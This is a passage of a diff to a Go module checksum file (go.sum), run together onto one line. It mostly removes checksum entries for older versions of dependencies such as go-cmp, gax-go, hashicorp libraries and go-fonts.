github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= -github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= github.com/envoyproxy/protoc-gen-validate v0.10.0 h1:oIfnZFdC0YhpNNEX+SuIqko4cqqVZeN9IGTrhZje83Y= github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= -github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= -github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= @@ -738,45 +123,31 @@ github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeME github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= -github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= -github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= -github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= -github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= -github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= -github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= -github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -784,9 +155,6 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -802,16 +170,12 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -819,21 +183,12 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= -github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -841,13 +196,6 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -855,23 +203,8 @@ github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+ github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= -github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= -github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= -github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= -github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= -github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= -github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= -github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= -github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= -github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= -github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -883,47 +216,16 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0 h1:YBftPWNWd4WwGqtY2yeZL2ef8rHAxPBD8KFhJpmcqms= github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0/go.mod h1:YN5jB8ie0yfIUg6VvR9Kz84aCaG7AsGZnLjhHbUqwPg= -github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= -github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= -github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= -github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= @@ -934,7 +236,6 @@ github.com/influxdata/influxdb-client-go/v2 v2.12.3 h1:28nRlNMRIV4QbtIUvxhWqaxn0 github.com/influxdata/influxdb-client-go/v2 v2.12.3/go.mod h1:IrrLUbCjjfkmRuaCiGQg4m2GbkaeJDcuWoxiWdQEbA0= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= -github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -955,7 +256,6 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod 